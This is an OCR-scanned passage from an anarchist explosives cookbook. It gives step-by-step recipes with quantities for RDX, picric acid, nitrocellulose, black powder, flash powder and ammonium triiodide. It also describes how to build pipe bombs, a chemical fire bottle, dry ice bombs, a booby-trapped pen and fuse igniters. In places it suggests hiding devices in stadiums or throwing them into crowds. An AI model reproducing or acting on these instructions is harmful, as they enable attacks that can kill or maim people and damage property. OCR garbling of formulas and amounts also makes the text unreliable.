that it is safe, it is a little safer than KCI03 above. KyCryO? can also be used as an oxidizer for flash powder. The finer the oxidizer and the 
finer the metal powder the more powerful the explosive. This of course will also increase the sensitivity of the flash powder. 

For a quick flash small quantities can be burnt in the open. Larger quantities (50g or more) ignited in the open can detonate, they do not need a 
container to do so. 

NOTE: Flash powder in any container will detonate. 

Balanced equations of some oxidizer/metal reactions. Only major products are considered. Excess metal powders are generally used. This 
excess burns with atmospheric oxygen. 

• 4 KN03 + 10 Mg --> 2 KyO + 2 Ny +10 MgO + Energy 

• KCI03 +2AI --> KG! + Aly03 + Energy 

• 3 KCI04 + 8 Al --> 3 KCI + 4 Aly03 + Energy 

• 6 KMn04 + 14 Al --> 3 KyO + 7 Aly03 + 6 Mn + Energy 

Make Black Powder first if you have never worked with pyrotechnic materials, then think about this stuff. 

Dr. Van Tiel - Ph.D. Chemistry 
Potassium perchlorate is a lot safer than sodium/potassium chlorate. 



192.The Explosive Pen by Blue Max 

Here's a GREAT little trick to play on your best fiend (no that's not a typo) at school, or maybe as a practical joke on a friend! 

Materials Needed: 

1 .One Ball Point "Click' pen 

2. Gun Powder 

3.8 or 10 match heads 
4.1 Match stick 

5.a sheet of sand paper (1 «" X 2") 

Directions: 

1 .Unscrew pen and remove all parts but leave the button in the top. 

2.Stick the match stick in the part of the pen clicker where the other little parts and the ink fill was. 

3. Roll sand paper up and put around the match stick that is in the clicker. 

4. Put the remaining Match Heads inside the pen, make sure that they are on the inside on the sand paper. 

5. Put a small piece of paper or something in the other end of the pen where the ball point comes out. 

6. Fill the end with the piece of paper in it with gun powder. The paper is to keep the powder from spilling. 

The Finished pen should look like this: 

Small Paper Clog Gun Powder Matches & Sandpaper \ 



193. Revised Pipe Bombs 



by Exodus 



First, one flattens one end of a copper or aluminum pipe carefully, making sure not to tear or rip the piping. Then, the flat end of the pipe should 
be folded over at least once, if this does not rip the pipe. A fuse hole should be drilled in the pipe near the now closed end, and the fuse should 
be inserted. 

Next, the bomb-builder would partially fill the casing with a low order explosive, and pack it with a large wad of tissue paper. He would then 
flatten and fold the other end of the pipe with a pair of pliers. If he was not too dumb, he would do this slowly, since the process of folding and 
bending metal gives off heat, which could set off the explosive. A diagram is presented below: 

(III. #1) 

UAAAAAAAi 

UAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^ 3 

3 3 Q 3 3 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^ 3 
AAAAAAAAU 

Fig. 1 - Pipe with one end flattened and fuse hole drilled. [Top view] 

(III. #2) 

UAAAAAi 

UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/^^ = 3 

3 3 3 

3 Q 3 3 

AaaaaMaaaaaaaaaaaaaaaaaaaaaaaaaaMaa 

AAAAAAU 

Fig. 2 - Pipe with one end flattened and folded up. [Top view] 
(III. #3) 

UAAAAAAAAAAA Fuse Hole 

3 

UAAAAAAAAAAAAAAAAAAAAAAAAoAAAAi, UAAAAi 

3 A6AAAi3 
3 AAAAAU3 
3 UAAAAAAU 
3 UU 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU 
Fig. 3- Pipe with flattened and folded end. [Side view] 
1 94.SAFETY TIPS -- HOW NOT TO GET KILLED by Exodus 

An "own goal" is the death of a person on your side from one of your own devices. It is obvious that these should be avoided at all costs. 
While no safety device is 100% reliable, it is usually better to err on the side of caution. 

BASIC SAFETY RULES 

1 .DONT SIVIOKE! (Don't laugh - an errant cigarette wiped out the Weathermen) 

2. GRIND ALL INGREDIENTS SEPARATELY. It's surprising how friction sensitive some supposedly "safe" explosives really are. 

3. ALL0W for a 20% margin of error - Just because the AVERAGE burning rate of a fuse is 30 sees/foot, don't depend on the 5 inches sticking 

out of your pipe bomb to take exactly 2« minutes. 
4.0VERESTIMATE THE RANGE OF YOUR SHRAPNEL. The cap from a pipe bomb can often travel a block or more at high velocities before 

coming to rest - If you have to stay nearby, remember that if you can see it, it can kill you. 
S.When mixing sensitive compounds (such as flash powder) avoid all sources of static electricity. Mix the ingredients by the method below: 

HOW TO MIX INGREDIENTS 

The best way to mix two dry chemicals to form an explosive is to do as the small-scale fireworks manufacturer's do: 

Ingredients: 

• 1 large sheet of smooth paper (for example a page from a newspaper that does not use staples) 

• The dry chemicals needed for the desired compound. 



1 .Measure out the appropriate amounts of the two chemicals, and pour them in two small heaps near opposite corners of the sheet. 

2. Pick up the sheet by the two corners near the powders, allowing the powders to roll towards the middle of the sheet. 

3. By raising one corner and then the other, roll the powders back and forth in the middle of the open sheet, taking care not to let the mixture 

spill from either of the loose ends. 

4. Pour the powder off from the middle of the sheet, and use immediately. If it must be stored use airtight containers (35mm film canisters work 

nicely) and store away from people, houses, and valuable items. 

195.Ammonium Trilodide Crystals by Exodus 

Ammonium trilodide crystals are foul -smelling purple colored crystals that decompose under the slightest amount of heat, friction, or shock, if 
they are made with the purest ammonia (ammonium hydroxide) and iodine. Such crystals are said to detonate when a fly lands on them, or 
when an ant walks across them. Household ammonia, however, has enough impurities, such as soaps and abrasive agents, so that the 
crystals will detonate when thrown, crushed, or heated. Ammonia, when bought in stores comes in a variety of forms. The pine and cloudy 
ammonias should not be bought; only the clear ammonia should be used to make ammonium trilodide crystals. Upon detonation, a loud report is 
heard, and a cloud of purple iodine gas appears about the detonation site. Whatever the unfortunate surface that the crystal was detonated 
upon will usually be ruined, as some of the iodine in the crystal is thrown about in a solid form, and iodine is corrosive. It leaves nasty, ugly, 
permanent brownisfvpurple stains on whatever it contacts. Iodine gas is also bad news, since it can damage lungs, and it settles to the ground 
and stains things there also. Touching iodine leaves brown stains on the skin that last for about a week, unless they are immediately and 
vigorously washed off. While such a compound would have little use to a serious terrorist, a vandal could utilize them in damaging property. 
Or, a terrorist could throw several of them Into a crowd as a distraction, an action which would possibly injure a few people, but frighten 
almost anyone, since a small crystal that may not be seen when thrown produces a rather loud explosion. 

Ammonium trilodide crystals could be produced in the following manner; 

Materials: 

• Iodine crystals 

• Clear ammonia (ammonium hydroxide, for the suicidal) 

Equipment: 

• Funnel and filter paper 

• Paper towels 

• Two throw-away glass jars 

1 .Place about two teaspoons of iodine into one of the glass jars. The jars must both be throw away because they will never be clean again. 
2.Add enough ammonia to completely cover the iodine. 

5. PIace the funnel Into the other jar, and put the filter paper in the funnel. The technique for putting filter paper in a funnel is taught in every 

basic chemistry lab class: fold the circular paper in half, so that a semi -circle is formed. Then, fold it in half again to form a triangle with 
one curved side. Pull one thickness of paper out to form a cone, and place the cone into the funnel. 

4. After allowing the iodine to soak in the ammonia for a while, pour the solution into the paper in the funnel through the filter paper. 

5. WhIle the solution is being filtered, put more ammonia into the first jar to wash any remaining crystals into the funnel as soon as it drains. 
e.Collect all the purplish crystals without touching the brown filter paper, and place them on the paper towels to dry for about an hour. Make 

sure that they are not too close to any lights or other sources of heat, as they could well detonate. While they are still wet, divide the wet 
material Into eight pieces of about the same size. 
y.After they dry, gently place the crystals onto a one square inch piece of duct tape. Cover it with a similar piece, and gently press the duct 
tape together around the crystal, making sure not to press the crystal itself. Finally, cut away most of the excess duct tape with a pair of 
scissors, and store the crystals in a cool dry safe place. They have a shelf life of about a week, and they should be stored in individual 
containers that can be thrown away, since they have a tendency to slowly decompose, a process which gives off iodine vapors, which 
will stain whatever they settle on. One possible way to increase their shelf life Is to store them in airtight containers. To use them, simply 
throw them against any surface or place them where they will be stepped on or crushed. 



196.Sulfurlc Acid & Amm. Nitrate III by Exodus 

Sulfuric acid is far too difficult to make outside of a laboratory or industrial plant. However, it is readily available in an uncharged car battery. A 
person wishing to make sulfuric acid would simply remove the top of a car battery and pour the acid into a glass container. There would 
probably be pieces of lead from the battery in the acid which would have to be removed, either by boiling or filtration. The concentration of the 
sulfuric acid can also be increased by boiling it; very pure sulfuric acid pours slightly faster than clean motor oil. 

AMMONIUM NFTRATE 

Ammonium nitrate is a very powerful but insensitive high-order explosive. It could be made very easily by pouring nitric acid into a large flask in 
an ice bath. Then, by simply pouring household ammonia into the flask and running away, ammonium nitrate would be formed. After the 
materials have stopped reacting, one would simply have to leave the solution In a warm place until all of the water and any unneutralized 
ammonia or acid have evaporated. There would be a fine powder formed, which would be ammonium nitrate. It must be kept in an airtight 



container, because of its tendency to p\ck up water from tfie air. The crystals formed in the above process would have to be heated VERY 
gently to drive off the remaining water. 



197. Black Powder III by Exodus 

First made by the Chinese for use in fireworl<s, black powder was first used in weapons and explosives in the 12th century. It is very simple 
to make, but it is not very powerful or safe. Only about 50% of black powder is converted to hot gasses when it is burned; the other half is 
mostly very fine burned particles. Black powder has one major problem... it can be ignited by static electricity. This is very bad, and it means 
that the material must be made with wooden or clay tools. Anyway, a misguided individual could manufacture black powder at home with the 
following procedure: 

MATERIALS: 

• Potassium Nitrate (75 g) -or- Sodium Nitrate (75 g) 

• Sulfur (10g) 

• Charcoal (15 g) 

• Distilled Water 

EQUIPMENT: 

• Clay grinding bowl and clay grinder -or- wooden salad bowl and wooden spoon 

• Plastic Bags (3) 

• 300-500 mL Beaker (1) 

• Coffee Pot or Heat Source 

1 .Place a small amount of the potassium or sodium nitrate in the grinding bowl and grind it to a very fine powder. Do this to all of the potassium 
or sodium nitrate, and store the ground powder in one of the plastic bags. 

2. Do the same thing to the sulfur and charcoal, storing each chemical in a separate plastic bag. 

3. Place all of the finely ground potassium or sodium nitrate in the beaker, and add just enough boiling water to the chemical to get it all wet. 

4. Add the contents of the other plastic bags to the wet potassium or sodium nitrate, and mix them well for several minutes. Do this until there is 

no more visible sulfur or charcoal, or until the mixture is universally black. 
5.0n a warm sunny day, put the beaker outside in the direct sunlight. Sunlight is really the best way to dry black powder, since it is never too 

hot, but it is hot enough to evaporate the water. 
e.Scrape the black powder out of the beaker, and store it in a safe container. Plastic is really the safest container, followed by paper. Never 

store black powder in a plastic bag, since plastic bags are prone to generate static electricity. 

198. NltroCellulose by Exodus 

Nitrocellulose is usually called "gunpowder" or "guncotton". It is more stable than black powder, and it produces a much greater volume of hot 
gas. It also burns much faster than black powder when it is in a confined space. Finally, nitrocellulose is fairly easy to make, as outlined by the 
following procedure: 

MATERIALS: 

• Cotton (Cellulose) 

• Concentrated Nitric Acid 

• Concentrated Sulfuric Acid 

• Distilled Water 

EQUIPMENT: 

• Two (2) 200-300 mL Beakers 

• Funnel and Filter Paper 

• Blue Litmus Paper 

1 .Pour 1 0 cc of concentrated sulfuric acid into the beaker. Add to this 1 0 cc of concentrated nitric acid. 
2.lmmediately add 0« gm of cotton, and allow it to soak for exactly 3 minutes. 

3. Remove the nitrocotton, and transfer it to a beaker of distilled water to wash it in. 

4. AII0W the material to dry, and then re-wash it. 

5. After the cotton is neutral when tested with litmus paper, it is ready to be dried and stored. 

199. RDXII by Exodus 

RDX, also called Cyclonite, or composition 01 (when mixed with plasticisers) is one of the most valuable of all military explosives. This is 
because it has more than 150% of the power of TNT, and is much easier to detonate. It should not be used alone, since it can be set off by a 
not-too severe shock. It is less sensitive than Mercury Fulminate or Nitroglycerin, but it is still too sensitive to be used alone. 
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RDX can be made by the surprisingly simple method outlined hereafter. It is much easier to make in the home than all other high explosives, with 
the possible exception of Ammonium Nitrate. 

MATERIALS: 

• Hexamine -or- Methenamine Fuel Tablets (50 g) 

• Concentrated Nitric Acid (550 mL) 

• Ammonium Nitrate 

• Distilled Water 

• Table Salt 

• Ice 

EQUIPMENT: 

• 500 mL Beaker 

• Glass Stirring Rod 

• Funnel and Filter Paper 

• Ice Bath Container (Plastic Bucket) 

• Centigrade Thermometer 

• Blue Litmus Paper 

1 .Place the beaker in the ice bath, (see steps 3-4) and carefully pour 550 mL of concentrated Nitric Acid into the beaker. 

2. VVhen the acid has cooled to below 2O0C, add small amounts of the crushed fuel tablets to the beaker. The temperature will rise, and it must 

be kept below 3O0C, or dire consequences could result. Stir the mixture. 

3. Drop the temperature below O0C, either by adding more ice and salt to the old ice bath, or by creating a new ice bath. Ammonium Nitrate could 

be added to the old ice bath, since it becomes cold when it is put in water. Continue stirring the mixture, keeping the temperature below 
O0C for at least twenty minutes. 

4. Pour the mixture into a liter of crushed ice. Shake and stir the mixture, and allow it to melt. Once it has melted, filter out the crystals, and 

dispose of the corrosive liquid. 

5. Place the crystals into one half a liter of boiling distilled water. Filter the crystals, and test them with the blue litmus paper. Repeat steps 4 and 

5 until the litmus paper remains blue. This will make the crystals more stable and safe. 
e.Store the crystals wet until ready for use. Allow them to dry completely using them. RDX is not stable enough to use alone as an explosive. 

7. Composition C1 can be made by mixing 88.3% RDX (by weight) with 11.1% mineral oil, and 0.6% lecithin. Kneed these material together in a 

plastic bag. This is one way to desensitize the explosive. 

8. HMX is a mixture of TNT and RDX; the ratio is 50/50, by weight. It is not as sensitive, and is almost as powerful as straight RDX. 

9. By adding ammonium nitrate to the crystals of RDX after step 5, it should be possible to desensitize the RDX and increase its power, since 

ammonium nitrate is very insensitive and powerful. Sodium or potassium nitrate could also be added; a small quantity is sufficient to 
stabilize the RDX. 

1 0. RDX detonates at a rate of 8550 meters/second when it is compressed to a density of 1 «5 g/cubic cm. 
200.Black Gate BBS by Exodus 
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201.ANFOS by Dean S. 

ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution. An ANFO solves the only other major problem with ammonium nitrate: its 
tendency to pick up water vapor from the air. This results in the explosive failing to detonate when such an attempt is made. This is rectified by 
mixing 94% (by weight) ammonium nitrate with 6% fuel oil, or kerosene. The kerosene keeps the ammonium nitrate from absorbing moisture 
from the air. An ANFO also requires a large Shockwave to set it off. 

About ANFO 

Lately there was been a lot said about various ANFO mixtures. These are mixtures of Ammonium Nitrate with Fuel Oil. This forms a reasonably 
powerful commercial explosive, with its primary benefit being the fact that it is cheap. Bulk ANFO should run somewhere around 9-12 cents 
the pound. This is dirt cheap compared to 40% nitro gel dynamites at 1 to 2 dollars the pound. To keep the cost down, it is frequently mixed at 
the borehole by a bulk truck, which has a pneumatic delivery hopper of AN prills (that's pellets to most of the world) and a tank of fuel oil. It is 
strongly recommended that a dye of some sort, preferably red be added to the fuel oil to make it easier to distinguish treated AN explosive from 
untreated oxidizer. 

ANFO is not without its problems. To begin with, it is not that sensitive to detonation. Number eight caps are not reliable when used with ANFO. 
Booster charges must be used to avoid dud blast holes. Common boosters include sticks of various dynamites, small pours of water gel 
explosives, dupont's detaprime cast boosters, and Atlas's power primer cast explosive. The need to use boosters raises the cost. Secondly, 
ANFO is very water susceptible. It dissolves in it, or absorbs it from the atmosphere, and becomes quite worthless real quick. It must be 
protected from water with borehole liners, and still must be shot real quick. Third, ANFO has a low density, somewhere around .85. This 
means ANFO sacks float, which is no good, and additionally, the low density means the power is somewhat low. Generally, the more weight 
of explosive one can place in a hole, the more effective. ANFO blown into the hole with a pneumatic system fractures as it is places, raising 
the density to about .9 or .92. The delivery system adds to the cost, and must be anti static in nature. Aluminum is added to some commercial, 
cartridge packaged ANFOs to raise the density— this also raises power considerable, and a few of these mixtures are reliably cap sensitive. 

Now than, for formulations. An earlier article mentioned 2« kilos of ammonium nitrate, and I believe 5 to 6 liters of diesel. This mixture is 
extremely over fueled, and I'd be surprised if it worked. Dupont recommends a AN to FO ratio of 93% AN to 7% FO by weight. Hardly any oil at 
all. More oil makes the mixture less explosive by absorbing detonation energy, and excess fuel makes detonation byproducts health hazards as 
the mixture is oxygen poor. Note that commercial fertilizer products do not work as well as the porous AN prills dupont sells, because 
fertilizers are coated with various materials meant to seal them from moisture, which keep the oil from being absorbed. 

Another problem with ANFO: for reliable detonation, it needs confinement, either from a casing, borehole, etc, or from the mass of the charge. 
Thus, a pile of the stuff with a booster in it is likely to scatter and burn rather than explode when the booster is shot. In boreholes, or 
reasonable strong casings (cardboard, or heavy plastic film sacks) the stuff detonated quite well. So will big piles. That's how the explosive 

potential was discovered: a small oil freighter rammed a bulk chemical ship. Over several hours the cargoes intermixed to some degree, and 
reached critical mass. Real big bang. A useful way to obtain the containment needed is to replace the fuel oil with a wax fuel. Mix the AN with 
just enough melted wax to form a cohesive mixture, mold into s hape. The wax fuels, and retains the mixture. This is what the US military uses 
as a man placed cratering charge. The military literature states this can be set off by a blasting cap, but it is important to remember the military 
blasting caps are considerable more powerful than commercial ones. The military rightly insists on reliability, and thus a strong cap (maybe 70- 
80 percent stronger than commercial). They also tend to go overboard when calculating demolition charges but hey, who doesn't... 

Two manuals of interest: Duponts "Blaster's Handbook", $20 manual mainly useful for rock and seismographic operations. Atlas's "Powder 
Manual" or "Manual of Rock Blasting" (I forget the title, its in the office). This is a $60 book, well worth the cash, dealing with the above two 
topics, plus demolitions, and non-quarry blasting. 

Incidentally, combining fuel oil and ammonium nitrate constitutes the manufacture of a high explosive, and requires a federal permit to 
manufacture and store. Even the mines that mix it on site require the permit to manufacture. Those who don't manufacture only need permits to 
store. Those who don't store need no permits, which includes most of us: anyone, at least in the US may purchase explosives, provided they 
are 21 or older, and have no criminal record. Note they ought to be used immediately, because you do need a license to store. Note also that 



commercial explosives contain quantities of tracing agents, which make it real easy for the FBI to trace the explosion to the purchaser, so 
please, nobody blow up any banks, orphanages, or old folks homes, okay. 



202. Picric Acid by Exodus 

Picric acid, also known as Tri-Nitro-Phenol, or TNP, is a military explosive that is most often used as a booster charge to set off another less 
sensitive explosive, such as TNT. It's another explosive that is fairly simple to make, assuming that one can acquire the concentrated sulfuric 
and nitric acids, its procedure for manufacture is given in many college chemistry lab manuals, and is easy to follow. The main problem with 
picric acid is its tendency to form dangerously sensitive and unstable picrate salts, such as potassium picrate. For this reason, it is usually 
made into a safer form, such as ammonium picrate, also called explosive D. A social deviant would probably use a formula similar to the one 
presented here to make picric acid. 

MATERIALS: 

• Phenol (9« g) 

• Concentrated Sulfuric Acid (12«mL) 

• Concentrated Nitric Acid (38 mL) 

• Distilled Water 

EQUIPMENT: 

• 500 mL Flask 

• Adjustable Heat Source 

• 1 000 mL Beaker -or- other container suitable for boiling in 

• Filter Paper and Funnel 

• Glass Stirring Rod 

1 .Place 9« grams of phenol into the 500 mL flask, and carefully add 1 2« mL of concentrated sulfuric acid and stir the mixture. 
2.Put 400 mL of tap water into the 1 000 mL beaker or boiling container and bring the water to a gentle boil. 

S.After warming the 500 mL flask under hot tap water, place it in the boiling water, and continue to stir the mixture of phenol and acid for about 
thirty minutes. After thirty minutes, take the flask out, and allow it to cool for about five minutes. 

4. Pour out the boiling water used above, and after allowing the container to cool, use it to create an ice bath, similar to the one used in steps 3- 

4. Place the 500 mL flask with the mixed acid an phenol in the ice bath. Add 38 mL of concentrated nitric acid in small amounts, stirring the 
mixture constantly. A vigorous but "harmless" reaction should occur. When the mixture stops reacting vigorously, take the flask out of the 
ice bath. 

5. Warm the ice bath container, if it is glass, and then begin boiling more tap water. Place the flask containing the mixture in the boiling water, 

and heat it in the boiling water for 1 « to 2 hours. 
e.Add 100 mL of cold distilled water to the solution, and chill it in an ice bath until it is cold. 

7. Filter out the yellowish-white picric acid crystals by pouring the solution through the filter paper in the funnel. Collect the liquid and dispose of 

it in a safe place, since it is corrosive. 

8. Wash out the 500 mL flask with distilled water, and put the contents of the filter paper in the flask. Add 300 mL of water, and shake 

vigorously. 

9. Re-filter the crystals, and allow them to dry. 

1 0. Store the crystals in a safe place in a glass container, since they will react with metal containers to produce picrates that could explode 
spontaneously. 

203. CHEMICAL FIRE BOTTLE by Exodus 

The chemical fire bottle is really an advanced molotov cocktail. Rather than using the burning cloth to ignite the flammable liquid, which has at 
best a fair chance of igniting the liquid, the chemical fire bottle utilizes the very hot and violent reaction between sulfuric acid and potassium 
chlorate. When the container breaks, the sulfuric acid in the mixture of gasoline sprays onto the paper soaked in potassium chlorate and sugar. 
The paper, when struck by the acid, instantly bursts into a white flame, igniting the gasoline. The chance of failure to ignite the gasoline is less 
than 2%, and can be reduced to 0%, if there is enough potassium chlorate and sugar to spare. 

MATERIALS: 

• Potassium Chlorate (2 teaspoons) 

• Sugar (2 teaspoons) 

• Concentrated Sulfuric Acid (4 oz.) 

• Gasoline (8 oz.) 

EQUIPMENT: 

• 12 oz. glass bottle 

• Cap for bottle, with plastic inside 

• Cooking Pan with raised edges 

• Paper Towels 



• Glass or Plastic Cup and Spoon 

1 Test the cap of the bottle with a few drops of sulfuric acid to make sure that the acid will not eat away the bottle cap during storage. If the 
acid eats through it in 24 hours, a new top must be found and tested, until a cap that the acid does not eat through is found. A glass top 
is excellent. 

2.Carefully pour 8 oz. of gasoline into the glass bottle. 

S.Carefully pour 4 oz. of concentrated sulfuric acid into the glass bottle. Wipe up any spills of acid on the sides of the bottle, and screw the 
cap on the bottle. Wash the bottle's outside with plenty of water. Set it aside to dry. 

4. Put about two teaspoons of potassium chlorate and about two teaspoons of sugar into the glass or plastic cup. Add about « cup of boiling 

water, or enough to dissolve all of the potassium chlorate and sugar. 

5. PIace a sheet of paper towel in the cooking pan with raised edges. Fold the paper towel in half, and pour the solution of dissolved potassium 

chlorate and sugar on it until it is thoroughly wet. Allow the towel to dry. 
e.When it is dry, put some glue on the outside of the glass bottle containing the gasoline and sulfuric acid mixture. Wrap the paper towel around 

the bottle, making sure that it sticks to it in all places. Store the bottle in a place where it will not be broken or tipped over. 
y.When finished, the solution in the bottle should appear as two distinct liquids, a dark brownish-red solution on the bottom, and a clear solution 

on top. The two solutions will not mix. To use the chemical fire bottle, simply throw it at any hard surface. 

8. NEVER OPEN THE BOTTLE, SINCE SOME SULPURIC ACID MIGhfT BE ON THE CAP, WHICH COULD TRICKLE DOWN THE SIDE OF THE BOTTLE 

AND IGNITE THE POTASSIUM CHLORATE, CAUSING A FIRE AND/OR EXPLOSION. 

9. To test the device, tear a small piece of the paper towel off the bottle, and put a few drops of sulfuric acid on it. The paper towel should 

immediately burst into a white flame. 

BOTTLED GAS EXPLOSIVES 

Bottled gas, such as butane for refilling lighters, propane for propane stoves or for bunsen burners, can be used to produce a powerful 
explosion. To make such a device, all that a simple-minded anarchist would have to do would be to take his container of bottled gas and place it 
above a can cf Sterno or other gelatinized fuel, light the fuel and run. Depending on the fuel used, and on the thickness of the fuel container, 
the liquid gas will boil and expand to the point of bursting the container in about five minutes. 

In theory, the gas would immediately be ignited by the burning gelatinized fuel, producing a large fireball and explosion. Unfortunately, the 
bursting of the bottled gas container often puts out the fuel, thus preventing the expanding gas from igniting. By using a metal bucket half filled 
with gasoline, however, the chances of ignition are better, since the gasoline is less likely to be extinguished. Placing the canister of bottled 
gas on a bed of burning charcoal soaked in gasoline would probably be the most effective way of securing ignition of the expanding gas, 
since although the bursting of the gas container may blow out the flame of the gasoline, the burning charcoal should immediately re-ignite it. 
Nitrous oxide, hydrogen, propane, acetylene, or any other flammable gas will do nicely. 

During the recent gulf war, fuel/air bombs were touted as being second only to nuclear weapons in their devastating effects. These are 
basically similar to the above devices, except that an explosive charge is used to rupture the fuel container and disperse it over a wide area. A 
second charge is used to detonate the fuel. The reaction is said to produce a massive Shockwave and to burn all the oxygen in a large area, 

causing suffocation. 

Another benefit of a fuel-air explosive is that the gas will seep into fortified bunkers and other partially-sealed spaces, so a large bomb placed 
in a building would result in the destruction of the majority of surrounding rooms, rendering it structurally unsound. 



204.Drv Ice by Exodus 

There is no standard formula for a dry ice bomb, however a generic form is as follows: 

Take a 2-liter soda bottle, empty it completely, then add about 3/4 Lb of Dry Ice (crushed works best) and (optional) a quantity of water. 

Depending on the condition of the bottle, the weather, and the amount and temperature of the bottle the bomb will go off in 30 seconds - 5 
minutes. Without any water added, the 2liter bottles will go often in 3-7 minutes if dropped into a warm river, and in 45 minutes to 1 « hours in 
open air. 

The explosion sounds equivalent to an M100. _Plastic_ 16 oz. soda bottles and 1 liter bottles work almost as well as do the 2 -liters, however 
glass bottles aren't nearly as loud, and can produce dangerous shrapnel. 

Remember, these are LOUDI A classmate of mine set up 1 0 bottles in a nearby park without adding water. After the first two went off (there 
was about 10 minutes between explosions) the Police arrived and spent the next hour trying to find the guy who they thought was setting off 

M-100's all around them... 

USES FOR DRY ICE 



Time Bombs: 



1 .Get a small plastic container with lid (we used the small plastic cans that hold the coasters used for large-format Polaroid film). A film canister 
would probably work; the key is, it should seal tightly and take a fair amount of effort to open). Place a chunk of dry ice in the can, put on 
the lid without quite sealing it. Put the assembled bomb in your pocket, or behind your back. Approach the mark and engage in normal 
conversation. When his attention is drawn away, quickly seal the lid on the bomb, deposit it somewhere within a few feet of the mark, out 
of obvious sight, then leave. Depending on variables (you'll want to experiment first), you'll hear a loud "pop" and an even louder 
"Aarrgghhh!" within a minute, when the COy pressure becomes sufficient to blow off the lid. In a cluttered lab, this is doubly nasty 
because the mark will probably never figure out what made the noise. 

2.Put 2-3 inches of water in a 2-liter plastic pop bottle. Put in as many chunks of dry ice as possible before the smoke gets too thick. Screw on 
the cap, place in an appropriate area, and run like hell. After about a minute (your mileage may vary), a huge explosion will result, spraying 
water everywhere, along with what's left of the 2-liter bottle. 

More things to do with Dry Ice: 

Has anyone ever thrown dry ice into a public pool? As long as you chuck it into the bottom of the deep end, it's safe, and it's really impressive 
if the water is warm enough 

"Fun stuff. It SCREAMS when it comes into contact with metal..." 
"You can safely hold a small piece of dry ice in your mouth if you 
KEEP IT MOVING CONSTANTLY. It looks like you're smoking or on fire." 

Editor's Note: Dry ice can be a lot of fun, but be forewarned: 

Using anything tut plastic to contain dry ice bombs is suicidal. Dry ice is more dangerous than TNT, because it's extremely unpredictable. Even 
a 2-liter bottle can produce some nasty shrapnel: One source tells me that he caused an explosion with a 2-liter bottle that destroyed a metal 
garbage can. In addition, it is rumored that several kids have been killed by shards of glass resulting from the use of a glass bottle. For some 
reason, dry ice bombs have become very popular in the state of Utah. As a result, dry ice bombs have been classified as infernal devices, and 
possession is a criminal offense. 

205.Fuses / Ignitors / Delays by Exodus 

There are many ways to ignite explosive devices. There is the classic "light the fuse, throw the bomb, and run" approach, and there are 
sensitive mercury switches, and many things in between. Generally, electrical detonation systems are safer than fuses, but there are times 
when fuses are more appropriate than electrical systems; it is difficult to carry an electrical detonation system into a stadium, for instance, 
without being caught. A device with a fuse or impact detonating fuze would be easier to hide. 

FUSE IGNITION 

The oldest form of explosive ignition, fuses are perhaps the favorite type of simple ignition system. By simply placing a piece of waterproof 
fuse in a device, one can have almost guaranteed ignition. Modern waterproof fuse is extremely reliable, burning at a rate of about 2« seconds 
to the inch. It is available as model rocketry fuse in most hobby shops, and costs about $3.00 for a nine-foot length. Cannon Fuse is a popular 
ignition system for pipe bombers because of its simplicity. All that need be done is light it with a match or lighter. Of course, if the Army had 
fuses like this, then the grenade, which uses fuse ignition, would be very impractical. If a grenade ignition system can be acquired, by all 
means, it is the most effective. But, since such things do not just float around, the next best thing is to prepare a fuse system which does not 
require the use of a match or lighter, but still retains its simplicity. One such method is described below: 

MATERIALS: 

• Strike-on-Cover type Matches 

• Electrical Tape -or- Duct Tape 

• Waterproof Fuse 

1 .To determine the burn rate of a particular type of fuse, simply measure a 6 inch or longer piece of fuse and ignite it. With a stopwatch, press 
the start button the at the instant when the fuse lights, and stop the watch when the fuse reaches its end. Divide the time of burn by the 
length of fuse, and you have the burn rate of the fuse, in seconds per inch. This will be shown below: 

Suppose an eight inch piece of fuse is burned, and its complete time of combustion is 20 seconds. 

20 seconds / 8 inches = 2« seconds per inch. 

If a delay of 10 seconds was desired with this fuse, divide the desired time by the number of seconds per inch: 
1 0 seconds / 2« seconds per inch = 4 inches 



NOTE: THE LENGTH OF FUSE HERE MEANS LENGTH OF FUSE TO THE POWDER. SOME FUSE, AT LEAST AN INCH, SHOULD BE INSIDE THE 
DEVICE. ALWAYS ADD THIS EXTRA INCH, AND PLTT THIS EXTRA INCH AN INCH INTO THE DEVICEIII 



2.After deciding iiow long a delay is desired before the explosive device is to go off, add about « an inch to the premeasured amount of fuse, 
and cut it off. 

S.Carefully remove the cardboard matches from the paper match case. Do not pull off individual matches; keep all the matches attached to the 
cardboard base. Take one of the cardboard match sections, and leave the other one to make a second igniter. 

4. Wrap the matches around the end of the fuse, with the heads of the matches touching the very end of the fuse. Tape them there securely, 

making sure not to put tape over the match heads. Make sure they are very secure by pulling on them at the base of the assembly. They 
should not be able to move. 

5. Wrap the cover of the matches around the matches attached to the fuse, making sure that the striker paper is below the match heads and 

the striker faces the match heads. Tape the paper so that is fairly tight around the matches. Do not tape the cover of the striker to the fuse 
or to the matches. Leave enough of the match book to pull on for ignition. 
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The match book is wrapped around the matches, and is taped to itself. The matches are taped to the fuse. The striker will rub against the 
matcheads when the match book is pulled. 

e.When ready to use, simply pull on the match paper. It should pull the striking paper across the match heads with enough friction to light them. 
In turn, the burning matcheads will light the fuse, since it adjacent to the burning match heads. 

HOW TO MAKE BLA CKMA TCH FUSE: 
Take a flat piece of plastic or metal (brass or aluminum are easy to work with and won't rust). Drill a 1/1 6th inch hole through it. This is your die 
for sizing the fuse. You can make fuses as big as you want, but this is the right size for the pipe bomb I will be getting to later. 

To about « cup of black powder add water to make a thin paste. Add « teaspoon of corn starch. Cut some one foot lengths of cotton thread. 
Use cotton, not silk or thread made from synthetic fibers. Put these together until you have a thickness that fills the hole in the die but can be 
drawn through very easily. 

Tie your bundle of threads together at one end. Separate the threads and hold the bundle over the black powder mixture. Lower the threads 

with a circular motion so they start curling onto the mixture. Press them under with the back of a teaspoon and continue lowering them so they 
coil into the paste. Take the end you are holding and thread it through the die. Pull it through smoothly in one long motion. 

To dry your fuse, lay it on a piece of aluminum foil and bake it in your 25O0Oven or tie it to a grill in the oven and let it hang down. The fuse must 
be baked to make it stiff enough for the uses it will be put to later. Air drying will not do the job. If you used Sodium Nitrate, it will not even dry 
completely at room temperatures. 

Cut the dry fuse with scissors into 2 inch lengths and store in an air tight container. Handle this fuse carefully to avoid breaking it You can also 
use a firecracker fuse if you have any available. The fuses can usually be pulled out without breaking. To give yourself some running time, you 
